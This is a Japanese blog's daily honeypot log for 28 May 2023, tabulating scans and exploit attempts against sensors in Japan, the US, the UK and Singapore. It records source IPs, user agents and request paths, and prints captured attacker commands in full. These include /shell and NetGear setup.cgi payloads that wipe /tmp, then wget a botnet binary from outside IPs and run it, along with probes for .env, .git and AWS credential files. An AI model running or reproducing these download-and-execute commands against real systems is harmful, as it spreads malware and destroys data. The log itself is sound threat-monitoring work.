2023/05/28 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/05/28分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Fuzz Faster U Foolによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:US

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Fuzz Faster U Foolによるスキャン行為
.jsへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
84.152.87.218に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Gulper Web Botによるスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為
84.152.87.218に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  47.87.131.126/bins/oryx.arm4;
chmod 777 /tmp/oryx.arm4;
sh /tmp/oryx.arm4

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

Location:SG

Fuzz Faster U Foolによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
WordPress Pluginへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
84.152.87.218に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  192.210.162.147/arm;
chmod 777 /tmp/arm;
sh /tmp/arm4

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：127 (前日比：56)
US：総アクセス数：228 (前日比：92)
UK：総アクセス数：114 (前日比：-33)
SG：総アクセス数：234 (前日比：118)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	13.50.231.4	United States
1	13.112.206.171	United States
1	13.235.59.229	United States
33	20.10.187.178	United States
2	20.38.35.99	United States
19	43.154.141.71	Singapore
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.181.179	United States
1	45.81.39.39	Bulgaria
8	45.81.39.254	Bulgaria
1	45.128.232.139	Bulgaria
1	45.128.232.152	Bulgaria
2	74.82.47.3	United States
1	85.217.144.248	Bulgaria
1	95.214.27.80	Bulgaria
2	104.140.148.66	United States
1	104.140.148.74	United States
3	104.140.148.78	United States
1	104.192.0.50	United States
1	117.215.210.10	India
3	135.125.217.54	France
7	135.125.244.48	France
2	135.125.246.189	France
1	138.68.208.9	United States
1	157.211.106.27	Australia
4	157.230.160.190	United States
8	161.35.136.36	United States
1	167.94.138.127	United States
1	167.94.145.58	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
1	172.105.128.12	United States
3	178.79.191.164	United States
1	185.92.73.113	United Kingdom
8	185.254.196.173	Ukraine
1	198.235.24.25	United States

UserAgent一覧

件数	UserAgent
19	`-`
1	`Fuzz Faster U Fool v2.0.0`
3	`Go-http-client/1.1`
1	`Hello, World`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)`
1	`Mozilla/5.0 (Linux; Android 10; Redmi 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 11; Redmi Note 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.136 Safari/537.36`
19	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0`
33	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
3	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`python-requests/2.28.1`
9	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
14		`\x16\x03\x01`
2		`\x17\x03\x01\x01\x04e`
1		`\xbf\xbf\xaf\xaf~`
2	CONNECT	`google[.]com:443`	HTTP/1.1
24	GET	`/.env`	HTTP/1.1
10	GET	`/.git/config`	HTTP/1.1
1	GET	`/.zshrc`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/3000D00E0000FFFF3F0031313744373731343634304537353046007A7A7A7A7A7A7A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000008047A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/config/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/audio/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/bundle.js`	HTTP/1.1
1	GET	`/cgi-bin/.env`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/.env`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.php`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/library/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/nacos/`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/sites/all/libraries/mailchimp/.env`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/supp/msroot/api.php?action=info&ajax=true`	HTTP/1.1
1	GET	`/supp/notifications.php`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/v3/time`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/laravel/.env`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-admin/.env`	HTTP/1.1
1	GET	`/wp-content/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
19	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	13.200.40.228	United States
1	16.16.192.243	United States
1	20.245.100.243	United States
3	23.98.191.47	United States
1	43.206.214.243	United States
1	45.33.80.243	United States
2	45.79.181.104	United States
2	45.79.181.179	United States
2	45.79.181.251	United States
1	45.81.39.39	Bulgaria
1	45.85.218.62	Germany
1	45.128.232.62	Bulgaria
1	45.227.254.8	Belize
5	51.79.29.48	Canada
5	54.36.115.221	France
13	54.37.79.75	France
1	54.153.58.176	United States
1	54.178.8.104	United States
1	59.49.19.46	China
2	62.233.50.179	Russia
1	64.62.197.33	United States
1	64.62.197.42	United States
1	66.175.213.4	United States
127	80.232.220.51	Latvia
3	101.35.144.28	China
1	104.140.148.62	United States
2	104.140.148.70	United States
1	104.140.148.118	United States
1	104.140.148.122	United States
1	107.170.233.12	United States
1	117.219.118.222	India
1	120.86.237.202	China
9	159.65.255.86	United States
9	161.35.136.36	United States
2	162.142.125.12	United States
2	162.142.125.226	United States
2	167.94.138.127	United States
1	172.104.11.51	United States
1	172.105.128.11	United States
3	178.79.164.116	United States
2	183.136.225.32	China
1	192.155.90.118	United States
1	192.155.90.220	United States
1	194.165.16.10	Panama
1	194.180.48.85	Bulgaria
1	205.210.31.29	United States
1	205.210.31.204	United States
1	218.23.126.101	China
1	218.28.124.102	China
1	222.136.99.20	China
1	222.222.180.200	China

UserAgent一覧

件数	UserAgent
36	`-`
1	`Fuzz Faster U Fool v2.0.0`
5	`Hello, world`
1	`Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C)`
1	`Mozilla/5.0 (Linux; Android 8.1.0; TECNO KA7O Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.120 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
127	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
5	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
4		`\x03`
25		`\x16\x03\x01`
1	CONNECT	`84[.]152[.]87[.]218:4444`	HTTP/1.1
1	GET	`/.bashrc`	HTTP/1.1
30	GET	`/.env`	HTTP/1.1
2	GET	`/1.php`	HTTP/1.1
1	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA/index.php?lang=en`	HTTP/1.1
2	GET	`/__phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/web/index.php?lang=en`	HTTP/1.1
2	GET	`/bundle.js`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
2	GET	`/database/index.php?lang=en`	HTTP/1.1
1	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
5	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpmyadmin4/index.php?lang=en`	HTTP/1.1
2	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/websql/index.php?lang=en`	HTTP/1.1
2	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
2	GET	`/index.php?lang=en`	HTTP/1.1
1	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/web/index.php?lang=en`	HTTP/1.1
1	GET	`/nacos/`	HTTP/1.1
1	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.10-all-languages/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.1/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.2.0-all-languages/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.2.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-latest-all-languages/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin5.2/index.php?lang=en`	HTTP/1.1
5	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
2	GET	`/phpmyadmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
4	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2013/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2014/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2020/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2022/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin4.8.5/index.php`	HTTP/1.1
1	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
3	GET	`/phppma/index.php?lang=en`	HTTP/1.1
2	GET	`/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/pmd/index.php`	HTTP/1.1
1	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/secrets.yml`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
5	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/supp/msroot/api.php?action=info&ajax=true`	HTTP/1.1
1	GET	`/supp/notifications.php`	HTTP/1.1
2	GET	`/upl.php`	HTTP/1.1
3	GET	`/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.110.116.58	United States
1	3.110.129.222	United States
1	13.200.15.110	United States
1	45.12.253.248	Bulgaria
1	45.33.80.243	United States
2	45.79.172.21	United States
3	45.79.181.94	United States
2	45.85.218.62	Germany
1	45.128.232.62	Bulgaria
1	45.128.232.139	Bulgaria
1	45.128.232.152	Bulgaria
19	51.79.29.48	Canada
7	52.162.218.19	United States
7	54.37.79.75	France
2	54.87.10.54	United States
1	54.206.161.18	United States
1	54.221.131.48	United States
1	54.233.228.218	United States
1	60.221.61.247	China
2	62.233.50.179	Russia
2	66.175.213.4	United States
4	66.240.236.119	United States
2	74.82.47.5	United States
1	80.66.66.140	Russia
1	84.17.47.93	United Kingdom
1	85.202.81.8	Germany
2	104.140.148.66	United States
1	104.140.148.70	United States
1	104.140.148.74	United States
2	104.140.148.78	United States
1	107.170.241.31	United States
2	109.237.97.180	Russia
1	117.213.2.122	India
1	118.163.120.42	Taiwan
6	118.194.250.124	Hong Kong
1	126.159.74.156	Japan
1	152.32.183.86	Hong Kong
9	161.202.23.58	United States
4	165.232.94.100	United States
2	167.94.145.58	United States
1	172.104.11.34	United States
1	172.105.128.12	United States
3	178.79.131.235	United States
1	180.254.150.159	Indonesia
1	192.155.90.118	United States
1	192.155.90.220	United States
1	193.35.18.65	Bulgaria
1	194.165.16.73	Panama
1	194.180.48.85	Bulgaria
1	205.210.31.103	United States
1	205.210.31.146	United States

UserAgent一覧

件数	UserAgent
47	`-`
2	`Go-http-client/1.1`
1	`Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)`
2	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.90 Safari/537.36 Vivaldi/1.4.589.11`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.52 (KHTML, like Gecko) Chrome/71.0.1376 Safari/537.36`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/544.42 (KHTML, like Gecko) Chrome/96.0.2674 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/601.43 (KHTML, like Gecko) Chrome/87.0.2431 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
6	`Mozilla/5.0 zgrab/0.x`
1	`Uzbl (Webkit 1.3) (Linux i686 [i686])`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
13		`\x03`
1		`\x16\x03\x01\x01H\x01`
21		`\x16\x03\x01`
2		`\x17\x03\x01\x01\x04e`
1		`\xbf\xbf\xaf\xaf~`
2	CONNECT	`84[.]152[.]87[.]218:4444`	HTTP/1.1
2	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.bashrc`	HTTP/1.1
30	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/3000D00E0000FFFF3F0031313744373731343634304537353046007A7A7A7A7A7A7A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000008047A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/config.php`	HTTP/1.1
1	GET	`/config.yml`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/profiler/phpinfo`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 47.87.131.126/bins/oryx.arm4;chmod+777+/tmp/oryx.arm4;sh+/tmp/oryx.arm4`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/supp/msroot/api.php?action=info&ajax=true`	HTTP/1.1
1	GET	`/supp/notifications.php`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	GET	`/wp-config.php`	HTTP/1.1
2	GET	`http[:]//dyn[.]epicgifs[.]net/test6956.php`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.110.141.173	United States
1	3.248.201.227	United States
1	13.50.237.237	United States
1	16.16.255.150	United States
1	23.98.191.47	United States
1	45.12.253.248	Bulgaria
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.128.205	United States
2	45.79.172.21	United States
2	45.79.181.104	United States
1	45.79.181.179	United States
1	45.81.39.39	Bulgaria
4	45.81.39.254	Bulgaria
2	45.85.218.62	Germany
1	45.128.232.152	Bulgaria
6	54.36.115.221	France
21	54.37.79.75	France
1	54.212.14.163	United States
2	62.233.50.179	Russia
1	104.140.148.46	United States
1	104.140.148.62	United States
1	104.140.148.66	United States
2	104.140.148.70	United States
1	104.140.148.118	United States
1	104.234.53.39	Canada
1	104.234.53.40	Canada
4	104.248.208.136	United States
1	112.86.12.45	China
1	120.86.34.99	China
9	143.198.208.164	United States
1	158.255.82.150	Russia
2	167.94.138.51	United States
2	167.94.145.58	United States
2	172.104.11.4	United States
1	172.104.11.34	United States
3	176.58.99.95	United States
1	179.43.177.244	Panama
2	183.136.225.32	China
2	184.105.247.196	United States
1	191.101.41.116	Chile
1	191.101.41.117	Chile
127	191.102.244.103	Argentina
1	192.155.90.118	United States
1	192.155.90.220	United States
1	192.241.212.48	United States
1	194.110.203.85	private ip address
1	194.165.16.73	Panama
2	194.180.48.85	Bulgaria
1	198.235.24.96	United States
1	198.235.24.150	United States
2	203.123.41.214	India
1	213.232.87.52	Germany
1	218.13.170.26	China
1	220.180.170.191	China

UserAgent一覧

件数	UserAgent
39	`-`
1	`Fuzz Faster U Fool v2.0.0`
1	`Go-http-client/1.1`
1	`HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1`
3	`Hello, world`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
127	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)`
5	`Mozilla/5.0 zgrab/0.x`
